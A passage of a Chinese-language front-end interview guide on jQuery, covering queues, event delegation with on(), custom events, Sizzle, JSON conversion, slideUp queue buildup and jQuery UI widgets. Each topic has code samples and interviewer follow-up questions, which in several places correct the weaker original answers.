var func4 = function() {
  console.log('事件4');
};

// 入栈队列事件
$('#box').queue("queue1", func1);  // 将 func1 添加到 queue1 队列
$('#box').queue("queue1", func2);  // 将 func2 添加到 queue1 队列

// 替换队列事件
$('#box').queue("queue1", []);  // 清空 queue1 队列
$('#box').queue("queue1", [func3, func4]);  // 替换 queue1 队列为 func3 和 func4

// 获取队列事件(返回一个函数数组)
var queue1 = $('#box').queue("queue1");
console.log(queue1);  // [func3(), func4()]

// 出栈队列事件并执行
$('#box').dequeue("queue1"); // 执行 func3
$('#box').dequeue("queue1"); // 执行 func4

// 清空整个队列
$('#box').clearQueue("queue1"); // 清空 queue1 队列

在上述示例中,使用 queue() 方法将函数添加到名为 "queue1" 的队列中。然后,使用 dequeue() 方法从队列中取出并执行函数。使用 clearQueue() 方法可以清空整个队列。

请注意,上述示例中使用了 console.log() 函数来输出结果。你可以根据需要将其替换为适合你的代码的逻辑。

队列在 jQuery 中的主要应用场景包括:

  1. 动画效果:通过将多个动画函数添加到队列中,按照顺序依次执行,实现动画的连续效果。
$('#element').animate({property1: value1}, duration1)
  .animate({property2: value2}, duration2)
  .animate({property3: value3}, duration3);
  1. 异步操作:当需要按照特定的顺序执行一系列异步操作时,可以将这些操作添加到队列中,确保它们按照期望的顺序执行。
$('#button').click(function() {
  $('#loading').fadeIn().delay(2000).fadeOut(); // 显示加载动画
  $('#result').queue(function(next) {
    $.ajax({
      url: 'example.com',
      success: function(data) {
        $(this).html(data); // 异步请求完成后更新页面内容
        next(); // 执行下一个队列函数
      }
    });
  });
});
  1. 队列控制:通过队列控制方法,可以按照需要添加、移除、替换或清空队列中的函数,从而灵活地控制函数的执行顺序和流程。
$('#element').queue("myQueue", function(next) {
  // 队列函数的逻辑
  next(); // 执行下一个队列函数
});

$('#element').dequeue("myQueue"); // 执行队列函数

$('#element').clearQueue("myQueue"); // 清空队列

总之,队列在 jQuery 中用于管理和控制一系列函数的顺序执行,特别适用于动画效果、异步操作和队列控制的场景。

💬 面试官追问

  • $('#box').queue('q1', fn1).queue('q1', fn2) 之后什么都没发生,为什么?

    只有 'fx' 队列会在入队时自动启动,自定义队列要手动 $('#box').dequeue('q1') 踢一脚。而且 fn1 里要调 next(),否则 fn2 永远等着。

  • .delay(1000).css('color', 'red'),为什么颜色立刻就变了?

    .delay() 只是往 fx 队列里塞了一个定时器,而 .css() 不走队列,调用时立刻执行。想让它排队就包进队列里:.delay(1000).queue(function (next) { $(this).css('color', 'red'); next() })。

  • 队列里某个函数忘了调 next(),会有什么现象?

    队列卡死在这一项,后面的动画、delay 全都不动,也不报错。排查时打印 $el.queue('fx') 看看数组里还剩几个,第一项是 'inprogress' 说明正卡在某个任务上。

  • 想等元素上所有动画都播完再弹提示,怎么写?

    $el.promise().done(showTip),.promise() 会在 fx 队列清空时 resolve。比在最后一个动画的回调里写靠谱,中间动态插了新动画也能等到。

# 7 jQuery 中的 bind(), live(), delegate(), on()的区别

⚡ 30 秒速记

  • bind():直接绑在当前匹配的元素上,后加的元素没有;3.0 起标记废弃
  • live():统一委托到 document,冒泡路径最长、不能链式,1.7 废弃、1.9 已删除
  • delegate():委托到指定父元素,比 live 精准;3.0 起标记废弃
  • on():1.7 起的统一入口,$(el).on('click', fn) 是直接绑,$(parent).on('click', '.child', fn) 是委托
  • 原生写法:parent.addEventListener('click', e => { const el = e.target.closest('.child'); if (el) ... })

这四个说白了就是两类:bind 是直接绑,live 和 delegate 是事件委托,on 把两种都收进了一个入口。 直接绑只对当下已经存在的元素生效,后面 append 进来的就没有处理函数;委托是把监听放在父元素上,靠冒泡判断事件是从哪个子元素来的,所以动态元素也能响应。live 把所有委托都堆在 document 上,冒泡路径长、stopPropagation 还会失灵,早就删了。现在只记 on 就够,$(parent).on('click', '.child', fn) 就是委托写法。

时序图 · 5 个参与者 / 7 步
alt 找到了匹配元素中途有人阻止冒泡用户用户被点的 span被点的 span列表项 item列表项 item列表容器 list列表容器 list委托处理函数委托处理函数点击1事件冒泡2继续冒泡到监听所在节点3从 target 往上找匹配 .item 的元素4this 指向 item 并调用5处理完成6事件到不了 list,处理函数不执行7

示例代码:

// bind()
$('#myButton').bind('click', function() {
  // 点击事件处理逻辑
});

// live()
$('#myButton').live('click', function() {
  // 点击事件处理逻辑
});

// delegate()
$('#myContainer').delegate('#myButton', 'click', function() {
  // 点击事件处理逻辑
});

// on()
$('#myButton').on('click', function() {
  // 点击事件处理逻辑
});

解释:

  • bind() 方法直接在目标元素上绑定事件处理程序,适用于静态元素。
  • live() 方法通过事件冒泡在 document 上捕获事件,可以处理动态添加的元素。但在 jQuery 1.7+ 版本中已被弃用,推荐使用 on() 方法代替。
  • delegate() 方法通过事件冒泡在指定的父元素上进行事件代理,可以精确指定事件的范围,适用于动态添加的元素。在 jQuery 1.7+ 版本中,推荐使用 on() 方法代替。
  • on() 方法是最新的事件绑定机制,可以替代 bind()、live() 和 delegate()。它可以在目标元素上直接绑定事件,也可以通过事件冒泡或事件代理进行处理。使用 on() 方法更加灵活和统一,是推荐的事件绑定方式。

请注意,以上示例是基于 jQuery 1.7+ 版本的用法,如果使用的是旧版本的 jQuery,部分方法可能已被弃用或行为有所不同。建议查阅对应版本的官方文档以获取详细信息。

💬 面试官追问

  • 列表是接口返回后 append 进来的,$('.item').on('click', fn) 点了没反应,为什么?

    执行 on 那一刻 .item 还不存在,选中的是空集合,绑了个寂寞。改成委托:$('.list').on('click', '.item', fn),监听挂在一直存在的 .list 上。

  • 升级到 jQuery 1.9 后报 live is not a function,怎么改?

    live 在 1.9 删了。$('.btn').live('click', fn) 等价于 $(document).on('click', '.btn', fn),更好的做法是把 document 换成离 .btn 最近的固定父容器。

  • 委托在 .list 上,子元素里有个按钮调了 stopPropagation(),会怎样?

    事件冒不到 .list,委托的处理函数就不会执行。这也是 live 最坑的地方,监听在 document 上,中间任何一层阻止冒泡都会让它失效。

  • focus、blur 不冒泡,委托还能用吗?

    jQuery 内部把它们换成了会冒泡的 focusin / focusout,所以 $(form).on('focus', 'input', fn) 能用。原生写委托就要自己用 focusin,或者 addEventListener 第三个参数传 true 走捕获。

  • 委托回调里,this 和 e.target 有什么区别?

    this(也就是 e.currentTarget)是匹配上选择器的那个 .item;e.target 是实际点到的最深层元素,可能是 .item 里的一个 <span>。取数据要用 $(this).data('id'),用 e.target 经常取不到。

# 8 是否知道自定义事件

⚡ 30 秒速记

  • 自定义事件 = 借浏览器事件机制做发布订阅,触发方和监听方互相不用知道对方
  • 原生:new CustomEvent('cart:add', { detail, bubbles: true }) + el.dispatchEvent(evt),数据放 detail
  • bubbles 默认是 false,想在父元素或 document 上统一监听必须显式打开
  • jQuery:.on('myEvent', (e, data) => {}) 监听,.trigger('myEvent', [data]) 触发,参数从第二个起往后排
  • dispatchEvent 是同步的,监听函数跑完才会回到下一行;跨框架、微前端之间通信常用它

自定义事件就是用浏览器现成的事件机制做发布订阅,谁关心谁监听,触发的人不用管有多少人在听。 原生写法是 new CustomEvent('cart:add', { detail: { id: 1 }, bubbles: true }),再 el.dispatchEvent(evt),监听方从 e.detail 里拿数据。bubbles 默认是 false,很多人在 document 上监听半天收不到就是这个原因。jQuery 里是 .on() 加 .trigger(),额外参数会排在回调的 event 后面。它比自己写一个 EventEmitter 多的好处是能冒泡,能做委托。

自定义事件是一种在JavaScript中实现发布/订阅模式的方式,通过自定义事件可以实现模块间的解耦和更灵活的事件处理。

在原生JavaScript中,可以使用CustomEvent对象来创建自定义事件,然后使用addEventListener方法来监听事件,使用dispatchEvent方法来触发事件。

示例代码如下:

// 创建自定义事件
var customEvent = new CustomEvent('myEvent', { detail: { data: 'example' } });

// 监听事件
document.addEventListener('myEvent', function(event) {
  console.log('Event triggered: ' + event.detail.data);
});

// 触发事件
document.dispatchEvent(customEvent);

在jQuery中,可以使用on方法来绑定自定义事件的处理函数,使用trigger方法来触发自定义事件。

示例代码如下:

// 绑定自定义事件处理函数
$(document).on('myEvent', function(event, data) {
  console.log('Event triggered: ' + data);
});

// 触发自定义事件
$(document).trigger('myEvent', 'example');

通过自定义事件,可以实现模块之间的松耦合,使代码更加可维护和可扩展。

💬 面试官追问

  • 子组件 dispatchEvent 了一个事件,在 document 上监听收不到,为什么?

    CustomEvent 的 bubbles 默认是 false,事件只在派发的那个元素上触发,冒不上去。创建时加 bubbles: true;要穿过 Shadow DOM 边界还得加 composed: true。

  • dispatchEvent 之后的下一行代码,是在监听函数执行之前还是之后跑?

    之后。dispatchEvent 是同步的,所有监听函数执行完才返回,这和点击这种由浏览器派发的事件不一样。所以监听函数里抛异常不会打断派发方,但耗时操作会阻塞它。

  • jQuery 的 .trigger('click') 和用户真点一下有什么区别?

    .trigger 会执行 jQuery 绑的处理函数,也会尝试调元素原生的 click() 方法,但不是浏览器认可的「用户手势」。所以在里面 window.open 或者播放音频,照样会被拦截。

  • 微前端里主应用想通知子应用「用户退出了」,用自定义事件合适吗?

    合适,window.dispatchEvent(new CustomEvent('app:logout')),子应用自己 addEventListener,双方不用 import 对方任何东西。事件名要带前缀约定好,子应用卸载时记得 removeEventListener,不然会重复执行。

# 9 jQuery 通过哪个方法和 Sizzle 选择器结合的

⚡ 30 秒速记

  • 入口是 jQuery.find,它就是 Sizzle 本身(源码里 jQuery.find = Sizzle)
  • $('.a') 的 init 和 $(el).find('.b') 最终都调到 jQuery.find(selector, context)
  • Sizzle 先走快路径:纯 #id / 标签 / 类名直接用 getElementById 等原生方法,标准选择器交给 querySelectorAll
  • 遇到 :eq()、:visible、:contains() 这类 jQuery 扩展伪类,原生不认才自己解析,并且从右往左匹配
  • 版本:Sizzle 曾是独立库,3.7 起并进了 jQuery 源码的 selector 模块,不再单独维护

jQuery 是通过 jQuery.find 接上 Sizzle 的,源码里干脆就是 jQuery.find = Sizzle。 平时写的 $('.a') 和 $(el).find('.b'),最后都会走到 jQuery.find(selector, context),context 决定从哪个节点往下找。Sizzle 本身很务实:能用原生 querySelectorAll 的就直接交给浏览器,只有碰到 :visible 这种浏览器不认识的扩展写法才自己解析。所以选择器写成标准 CSS,性能基本就等于原生。

在jQuery中,通过$().find()方法与Sizzle选择器结合使用来进行元素的查找和筛选。

示例代码如下:

// 在整个文档中查找符合条件的元素
var elements = $('body').find('.my-class');

// 在特定元素内部查找符合条件的子元素
var children = $('.parent-element').find('.child-class');

在上面的示例中,$().find()方法用于在指定的上下文中查找符合条件的元素。可以传递一个选择器作为参数,由Sizzle选择器引擎解析和执行。

通过$().find()方法,jQuery与Sizzle选择器结合,可以实现灵活的元素查找和筛选操作。

把 $(selector) 到 Sizzle 的调用链串起来看,会更清楚它是怎么「结合」的:

// jQuery.fn.init 里遇到普通选择器字符串
return (context || rootjQuery).find(selector)

// jQuery.fn.find:对集合里每个元素当作 context 去查,再去重
find: function (selector) {
  const ret = this.pushStack([])
  for (let i = 0; i < this.length; i++) {
    jQuery.find(selector, this[i], ret) // 这里就是 Sizzle
  }
  return this.length > 1 ? jQuery.uniqueSort(ret) : ret
}

// 源码里的接线
jQuery.find = Sizzle
jQuery.expr = Sizzle.selectors // 自定义伪类就往这里挂

Sizzle(selector, context) 内部的顺序大致是:先用正则判断是不是单个 #id、标签名或类名,是的话直接调 getElementById / getElementsByTagName / getElementsByClassName;不是就试 context.querySelectorAll(selector),浏览器不认识(抛错)再走自己的分词和编译,生成从右往左的匹配函数。所以想让选择器快,最简单的办法就是只写标准 CSS 选择器。另外 jQuery.expr 也是 Sizzle 的扩展点,jQuery UI 的 :focusable、:data() 就是挂在这上面的。jQuery 3.7 之后这些代码直接在 jQuery 仓库的 selector 模块里,不再依赖外部的 Sizzle 包。

💬 面试官追问

  • $('li:first') 和 $('li').first(),哪个快?

    后者。:first 是 jQuery 扩展伪类,querySelectorAll 不认,整串选择器只能退回 Sizzle 自己解析;$('li').first() 先走原生查询再取第一个。3.4 起这类位置伪类也已经标记废弃。

  • Sizzle 为什么从右往左匹配?

    div .list a 如果从左往右,要先找所有 div 再一层层往下搜,分支很多;从右往左先拿到所有 a,再往上看祖先里有没有 .list 和 div,不满足的马上淘汰。浏览器匹配 CSS 规则也是这个方向。

  • $('.item', container) 和 $(container).find('.item') 有区别吗?

    结果一样,第一种内部就是转成第二种执行的。我更倾向写 .find(),一眼就看出查找范围,链式写下去也顺。

  • 页面上 :visible 选择器用得很多,滚动时卡,为什么?

    :visible 要判断元素有没有布局尺寸,等于在读布局信息,大列表里每个元素都读一遍,还可能触发强制同步布局。能用类名标记显示状态就别用它,或者把查找范围缩到一个小容器里。

# 10 jQuery 中如何将数组转化为 JSON 字符串,然后再转化回来

⚡ 30 秒速记

  • 直接用原生 JSON.stringify / JSON.parse,jQuery 没有、也不需要单独的序列化方法
  • $.parseJSON() 内部就是调 JSON.parse,3.0 起标记废弃,jQuery 4 里已经删了
  • stringify 的坑:数组里的 undefined、函数、Symbol 会变成 null,对象里的直接丢掉
  • Date 变成 ISO 字符串,parse 回来还是字符串;Map / Set 变成 {};循环引用直接抛 TypeError
  • parse 的输入必须是合法 JSON:单引号、尾逗号都会报错,接口返回要包 try...catch

数组转 JSON 字符串用 JSON.stringify(),转回来用 JSON.parse(),这俩是原生的,jQuery 没必要再包一层。 老代码里的 $.parseJSON() 其实就是调 JSON.parse,3.0 起就废弃了。这题真正值得说的是 stringify 的边界:[1, undefined, () => {}] 序列化出来是 "[1,null,null]",Date 会变成字符串,parse 回来不会自动还原成 Date,循环引用直接抛错。需要还原类型就用第二个参数 reviver 自己转。

// 通过原生 JSON.stringify/JSON.parse 扩展 jQuery 实现
 $.array2json = function(array) {
    return JSON.stringify(array);
 }

 $.json2array = function(array) {
    // $.parseJSON(array); // 3.0 开始,已过时
    return JSON.parse(array);
 }

 // 调用
 var json = $.array2json(['a', 'b', 'c']);
 var array = $.json2array(json);

💬 面试官追问

  • JSON.stringify([1, undefined, function(){}]) 输出什么?

    "[1,null,null]"。数组要保持下标,没法表示的值就填 null;放在对象里的 undefined 和函数则是整个键被丢掉,JSON.stringify({ a: undefined }) 是 "{}"。

  • localStorage 里存了带日期的数组,取出来调 getTime() 报错,为什么?

    stringify 把 Date 转成了 ISO 字符串,parse 回来就是普通字符串,没有 getTime。用 reviver 还原:JSON.parse(s, (k, v) => k === 'createdAt' ? new Date(v) : v)。

  • 后端返回的字符串用 JSON.parse 报 Unexpected token,常见原因有哪些?

    最常见的是返回的根本不是 JSON,比如网关报错页是 HTML;其次是单引号、尾逗号、NaN 这些 JSON 不支持的写法。先打印原始字符串看前几个字符,再决定是改接口还是加 try...catch 兜底。

  • 拿 JSON.parse(JSON.stringify(arr)) 做深拷贝,有什么问题?

    会丢 undefined 和函数、把 Date 变字符串、Map 变 {},碰到循环引用直接抛错。纯数据小对象可以凑合,正经深拷贝用 structuredClone(arr)。

# 11 jQuery 一个对象可以同时绑定多个事件,这是如何实现的

⚡ 30 秒速记

  • 用法层面:.on('mouseover mouseout', fn) 多个事件共用一个函数;.on({ click: f1, mouseover: f2 }) 各绑各的
  • 实现层面:每个元素在内部 data 上存一张事件表 events: { click: [h1, h2], ... }
  • 每种事件类型只向 DOM 真正注册一次 addEventListener,入口是同一个 handle,触发后由 jQuery.event.dispatch 遍历表里的函数
  • 这张表撑起了命名空间(click.menu)、one()、.off('.menu') 批量解绑和委托匹配
  • 原生 addEventListener 本来就支持同一元素同一事件绑多个函数,只是没有命名空间,解绑要拿到原函数引用

写法上 .on() 支持空格分隔多个事件名,或者传一个「事件名到函数」的对象;底层是 jQuery 在每个元素上维护了一张事件表。 比如给按钮绑了两个 click 处理函数,jQuery 并不会调两次 addEventListener,而是第一次时注册一个统一的 handle,再把两个函数都放进 events.click 数组里。事件来了,dispatch 按顺序把数组里的函数挨个调一遍,顺便处理委托匹配、命名空间和 return false。这样解绑就很灵活,.off('click.menu') 只删带这个命名空间的那几个。

在jQuery中,可以使用.on()方法为一个对象同时绑定多个事件。

示例代码1:

$("#btn").on("mouseover mouseout", func);

上述代码中,通过.on()方法为#btn元素同时绑定了mouseover和mouseout两个事件,它们都会调用同一个处理函数func。

示例代码2:

$("#btn").on({
    mouseover: func1,
    mouseout: func2,
    click: func3
});

上述代码中,通过.on()方法为#btn元素同时绑定了mouseover、mouseout和click三个事件,分别指定了不同的处理函数func1、func2和func3。

这样,当这些事件触发时,相应的处理函数将被调用。

通过将多个事件名称和处理函数作为参数传递给.on()方法,或者使用一个包含事件名称和处理函数的对象作为参数,可以实现为一个对象同时绑定多个事件。这样做既简洁又方便,可以提高代码的可读性和维护性。

可以看看 jQuery.event.add 绑事件时到底做了什么(简化自 jQuery 3.x):

// $(btn).on('click', h1); $(btn).on('click', h2)
const elemData = dataPriv.get(elem)           // 元素的内部数据
const events = elemData.events ||= {}
let eventHandle = elemData.handle
if (!eventHandle) {
  // 每个元素只创建一次统一入口
  eventHandle = elemData.handle = e => jQuery.event.dispatch.call(elem, e)
}
let handlers = events[type]
if (!handlers) {
  handlers = events[type] = []
  // 同一种事件只真正注册一次
  elem.addEventListener(type, eventHandle)
}
handlers.push({ handler, namespace, selector }) // h1、h2 都进这个数组

触发时只有 eventHandle 被浏览器调用,dispatch 再按顺序遍历 handlers:有 selector 的是委托处理函数,先从 e.target 往上匹配;有命名空间的就按命名空间过滤;某个函数返回 false 就调 preventDefault 和 stopPropagation。所以「一个对象绑多个事件」从浏览器角度看,其实每种事件类型只有一个监听函数,剩下的分发都是 jQuery 自己做的。这也是 .off() 能按命名空间、按选择器精确解绑的原因。

💬 面试官追问

  • 同一个按钮在两个模块里都绑了 click,一个模块想只解绑自己的,怎么做?

    绑的时候加命名空间:$btn.on('click.cart', fn),解绑写 $btn.off('.cart'),另一个模块的不受影响。直接 .off('click') 会把所有人的都删掉,这是老项目里很常见的事故。

  • 处理函数里 return false 等于什么?

    在 jQuery 里等于同时调了 e.preventDefault() 和 e.stopPropagation()。原生 addEventListener 里 return false 什么都不做,迁移代码时这里最容易漏。

  • 同一个元素、同一个事件,绑了 3 个函数,执行顺序是什么?

    按绑定顺序执行,jQuery 的事件表是数组,dispatch 从头遍历。中间某个函数调了 e.stopImmediatePropagation(),后面的就不跑了。

  • 页面上元素被 .remove() 了,绑在它上面的事件会内存泄漏吗?

    用 jQuery 的 .remove() / .empty() 不会,它会顺带清理内部的事件表和 data。如果是原生 el.innerHTML = '' 或者 removeChild 绕过了 jQuery,内部缓存就清不掉,老版本里这是一个典型的泄漏来源。

# 12 针对 jQuery 的优化方法

⚡ 30 秒速记

  • 缓存选择结果:const $list = $('.list'),别在循环里反复 $()
  • 选择器写标准 CSS、从 #id 往下 .find(),别用 :first、:visible 这类走不了原生的扩展伪类
  • 批量插入:先拼好字符串或 DocumentFragment,最后一次 append;改样式切 class 不要连写 .css()
  • 列表事件用委托:$list.on('click', '.item', fn),几百个绑定变成一个
  • 先读后写,避免在循环里 .css('top') / .offset() 和写样式交替,引起强制同步布局
  • 最大的优化:新代码别再引 jQuery;老项目升级到 3.x,体积可以用自定义构建去掉 ajax、effects 模块

jQuery 的性能问题基本不在库本身,而在用法:反复查 DOM、在循环里逐条插节点、给每个子元素绑事件。 所以我会先缓存选择结果,查找从 #id 开始缩小范围;批量插入先拼好再一次性 append;列表事件用委托,把几百个绑定收成一个。还有一个容易忽略的是读写交替,循环里读 .offset() 又写 .css() 会反复强制布局,先把要读的读完再统一写。网上流传的「#container #item」这种写法其实没意义,id 本来就唯一,直接写 #item 最快。

  1. 缓存频繁操作 DOM 对象:
  • 当需要频繁操作某个 DOM 对象时,将其缓存到一个变量中可以避免不必要的 DOM 查询和遍历,提高代码的执行效率。
  1. 尽量使用 id 选择器代替 class 选择器:
  • 使用 id 选择器的性能比 class 选择器更高,因为 id 在页面中是唯一的,而 class 可能存在多个匹配项。
  1. 总是从 #id 选择器来继承:
  • 通过指定父级元素的 id 选择器来限定查找范围,这样可以减少选择器的搜索范围,提高查找速度。
  1. 尽量使用链式操作:
  • 链式操作可以减少不必要的 jQuery 对象的创建和查找,简化代码结构,提高代码的可读性和性能。
  1. 使用事件委托 on 绑定事件:
  • 通过将事件绑定在父元素上,利用事件冒泡机制,将事件处理委托给父元素处理,可以减少事件绑定的数量,提高性能。
  1. 采用 jQuery 的内部函数 data() 来存储数据:
  • 使用 data() 函数可以将数据附加到 DOM 元素上,避免在元素上存储额外的数据属性,减少内存占用和提高性能。
  1. 使用最新版本的 jQuery:
  • 每个版本的 jQuery 都在性能方面进行了优化和改进,使用最新版本可以获得更好的性能和稳定性。

通过应用这些优化方法,可以有效提升 jQuery 代码的执行效率和性能,提升用户体验。

下面给出一些示例代码来演示上述优化方法的应用:

  1. 缓存频繁操作 DOM 对象:
// 不优化的写法
for (var i = 0; i < $(".item").length; i++) {
  $(".item").eq(i).addClass("active");
}

// 优化后的写法
var $items = $(".item");
for (var i = 0; i < $items.length; i++) {
  $items.eq(i).addClass("active");
}
  1. 尽量使用 id 选择器代替 class 选择器:
// 不优化的写法
$(".container .item").addClass("active");

// 优化后的写法
$("#container #item").addClass("active");
  1. 总是从 #id 选择器来继承:
// 不优化的写法
$(".container .item").find(".sub-item").addClass("active");

// 优化后的写法
$("#container").find(".item").find(".sub-item").addClass("active");
  1. 尽量使用链式操作:
// 不优化的写法
$(".item").addClass("active");
$(".item").removeClass("hidden");
$(".item").show();

// 优化后的写法
$(".item").addClass("active").removeClass("hidden").show();
  1. 使用事件委托 on 绑定事件:
// 不优化的写法
$(".button").click(function() {
  // 处理点击事件
});

// 优化后的写法
$("#container").on("click", ".button", function() {
  // 处理点击事件
});
  1. 采用 jQuery 的内部函数 data() 来存储数据:
// 不优化的写法
$(".item").attr("data-value", "123");

// 优化后的写法
$(".item").data("value", "123");

这些示例代码展示了如何应用上述优化方法,根据具体的使用场景选择相应的优化方法可以提高 jQuery 代码的性能和执行效率。

💬 面试官追问

  • 循环 1000 次 $('#list').append('<li>' + i + '</li>'),怎么改?

    先在内存里拼好:const html = items.map(i => '<li>' + i + '</li>').join(''),最后 $('#list').append(html) 一次。从 1000 次 DOM 插入和潜在的 1000 次布局变成一次,差距是数量级的。

  • $('#container #item') 是不是比 $('.container .item') 快?

    比类名快,但写成这样没意义,id 唯一,直接 $('#item') 走的是 getElementById,最快。真正要避免的是把 id 放在后代选择器后面,比如 $('.box #item'),就退化成了一次普通的 querySelectorAll。

  • 页面用 jQuery 写的表格有几千行,滚动时卡,你先看什么?

    先用 Performance 面板录一段,看是脚本执行还是 Layout 占大头。常见原因是 scroll 里给每一行查 .offset(),或者每行一个事件绑定;改成委托、节流,读布局的逻辑集中到 requestAnimationFrame 里,行数再多就上虚拟列表。

  • 老项目还在用 jQuery 1.x,升级到 3.x 要注意什么?

    先引 jquery-migrate 插件跑一遍,控制台会把用了已删除 API 的地方都打出来,比如 .live()、.size()。另外 3.x 的 Deferred 回调变成异步执行了,依赖同步时序的代码要重点测。

# 13 jQuery 的 slideUp 动画,当鼠标快速连续触发, 动画会滞后反复执行,该如何处理呢

⚡ 30 秒速记

  • 成因:每次 mouseover 都往 fx 队列里塞一个 slideUp,鼠标停了队列还在一个个播
  • 首选:$el.stop(true, true).slideUp(),第一个 true 清空队列,第二个 true 当前动画直接跳到终点
  • 要分清:stop() 不传参只停当前这一段,后面排队的照样会播,stop(true) 才清队列
  • 也可以判断 $el.is(':animated'),正在动就直接 return,适合不想打断当前动画的场景
  • 单纯加 setTimeout 延迟只是把排队推迟,不清理,得配合 clearTimeout 做成防抖才管用

根因是动画队列积压:每触发一次就往 fx 队列里塞一个动画,鼠标早移走了,队列还在挨个播。 所以解法都是围绕「别让它攒」:最常用的是先 stop(true, true) 再执行新动画,第一个参数清空排队的动画,第二个让当前动画直接跳到终点,状态不会停在半截。只写 .stop() 不够,它只停当前那段,后面排队的还会接着播。如果希望当前动画播完不被打断,就用 :animated 判断,正在动就不入队。

当鼠标快速连续触发导致动画滞后反复执行时,可以采取以下两种处理方式:

  1. 设置延迟处理:
  • 在触发元素上的事件处理函数中,使用 setTimeout 方法来延迟执行动画,从而避免快速连续触发造成动画滞后反复执行的问题。
$(".trigger").on("mouseover", function() {
  setTimeout(function() {
    $(".element").slideUp();
  }, 200);
});

上述代码中,通过设置 200 毫秒的延迟,在每次触发事件时先延迟一段时间后再执行动画,从而确保动画能够顺利完成。

  1. 停止所有动画并执行相应动画:
  • 在触发元素的事件处理函数中,可以先使用 stop 方法停止所有正在进行的动画,然后再执行相应的动画事件。
$(".trigger").on("mouseover", function() {
  $(".element").stop().slideUp();
});

通过调用 stop 方法,可以立即停止所有正在进行的动画,并清除动画队列,然后再执行新的动画事件。这样可以避免动画滞后反复执行的问题。

以上两种处理方式可以根据具体的情况选择使用,以确保动画的正常执行。

💬 面试官追问

  • 写了 .stop().slideUp(),快速划过几次还是会抽搐几下,为什么?

    .stop() 不传参只结束当前这段动画,队列里已经排着的还在。改成 .stop(true, true) 清空队列;如果是 hover 里一进一出两个方向,用 .stop(true).slideToggle() 之类的写法让它从当前高度接着走。

  • stop(true, true) 和 stop(true, false) 视觉上有什么区别?

    第二个参数是 jumpToEnd。true 是当前动画瞬间跳到终态再开新的,可能看到一下闪跳;false 是停在当前位置,新动画从这里开始,过渡更顺。hover 展开收起一般用 stop(true)。

  • finish() 和 stop(true, true) 有区别吗?

    有。stop(true, true) 只把当前这段跳到终点,排队的直接丢弃;finish()(1.9 加的)会把队列里所有动画都瞬间跑到终态,元素停在最后一段动画的结果上。

  • 不用 jQuery,用 CSS 做这个下拉收起,还会有这个问题吗?

    不会。transition 是状态驱动的,鼠标来回切换只是改目标值,浏览器从当前值往新目标过渡,没有队列可积压。这也是现在下拉菜单基本都改成切 class 加 transition 的原因。

# 14 jQuery UI 如何自定义组件

⚡ 30 秒速记

  • 用 widget 工厂:$.widget('ns.widgetName', [基类], { options, _create, _setOption, _destroy })
  • _create 只在第一次初始化时跑一次;_init 每次不带方法名调用组件都会跑
  • 实例存在元素的 data 上,$(el).widgetName('method') 调公共方法,下划线开头的方法外部调不了
  • 改配置走 option,内部进 _setOption,记得先调 this._super(key, value)
  • 继承:传基类 $.ui.dialog 就能扩展,方法里用 this._super() 调父类;对外发事件用 this._trigger('change')

jQuery UI 自定义组件靠的是 widget 工厂,$.widget('ns.widgetName', [基类], 原型对象) 定义完,$(el).widgetName() 就能用。 原型里一般写 options 默认配置、_create 做初始化和事件绑定、_setOption 响应配置变化、_destroy 做清理。工厂替你做了实例挂载、方法调用分派和配置合并:$(el).widgetName('option', 'color', 'red') 会走到 _setOption。下划线开头的方法当私有处理,外面调不到。要在已有组件上加功能就传基类,比如继承 $.ui.dialog,方法里 this._super() 调回父类实现。

通过向 $.widget() 方法传递组件名称和一个原型对象,可以自定义 jQuery UI 组件。具体的使用方法如下:

$.widget("ns.widgetName", [baseWidget], widgetPrototype);

其中:

  • "ns.widgetName" 是组件的名称,命名空间(ns)和组件名称(widgetName)可以根据实际情况进行替换。
  • [baseWidget] 是可选参数,表示组件的基础组件,可以是其他已定义的 jQuery UI 组件,用于扩展和继承基础组件的功能。
  • widgetPrototype 是一个包含组件方法和属性的原型对象,用于定义自定义组件的行为和外观。

以下是一个示例代码,演示如何自定义一个简单的 jQuery UI 组件:

$.widget("custom.customWidget", {
  // 组件的默认选项
  options: {
    color: "blue",
    fontSize: 12
  },

  // 组件的创建函数,初始化组件
  _create: function() {
    this.element
      .addClass("custom-widget")
      .text("Custom Widget");

    this._refresh();
  },

  // 刷新组件,根据选项更新外观
  _refresh: function() {
    this.element.css({
      color: this.options.color,
      fontSize: this.options.fontSize + "px"
    });
  },

  // 设置选项的方法
  _setOption: function(key, value) {
    this._super(key, value);
    this._refresh();
  }
});

上述示例中,定义了一个名为 customWidget 的自定义组件。组件具有默认选项 color 和 fontSize,在创建函数 _create 中初始化组件,并在 _refresh 方法中根据选项更新外观。使用 _setOption 方法来设置选项并触发刷新。

使用自定义组件时,可以通过以下方式进行初始化和设置选项:

$("#myElement").customWidget(); // 初始化自定义组件

$("#myElement").customWidget("option", "color", "red"); // 设置选项

通过以上方式,可以自定义 jQuery UI 组件并进行初始化和配置。

💬 面试官追问

  • 组件初始化写在 _init 里,结果每次调 $(el).myWidget() 都重复绑了一遍事件,为什么?

    _init 在每次不带方法名调用组件时都会执行,_create 才是只跑一次的。事件绑定、DOM 结构创建放 _create,_init 只放「每次调用都要做」的逻辑,比如打开面板。

  • $(el).myWidget('_refresh') 报错了,为什么?

    工厂约定下划线开头的方法是私有的,从外部按方法名调用会直接抛错。要对外开放就去掉下划线,或者包一个公共方法 refresh 再内部调 _refresh。

  • 组件里状态变了,想让外部监听,怎么设计?

    用 this._trigger('change', null, data),外部可以初始化时传 change 回调,也可以 $(el).on('mywidgetchange', fn) 监听,事件名是组件名小写加事件名。别让外部去轮询组件内部状态。

  • 组件销毁时要做什么,不做会怎样?

    在 _destroy 里解绑 _create 里绑的事件、移除加的 class 和节点。用 this._on() 绑的事件工厂会自动解,自己用 .on() 绑在 document 上的不会,单页里反复创建销毁就会越积越多。

# 15 jQuery 与 jQuery UI、jQuery Mobile 区别

⚡ 30 秒速记

  • jQuery:核心库,管 DOM 操作、事件、动画、Ajax,不带任何界面组件
  • jQuery UI:依赖 jQuery 的桌面端组件库,对话框、日期选择、拖拽排序 + ThemeRoller 主题,基于 widget 工厂
  • jQuery Mobile:依赖 jQuery 的移动端整套框架,接管页面切换、Ajax 导航、触摸事件,2021 年官方宣布废弃
  • 关系:后两个都建在 jQuery 之上,一个偏组件,一个偏整站框架
  • 现状:组件用 Ant Design / Element Plus,移动端用 Vant / antd-mobile,面试说清定位差异和已过时就够

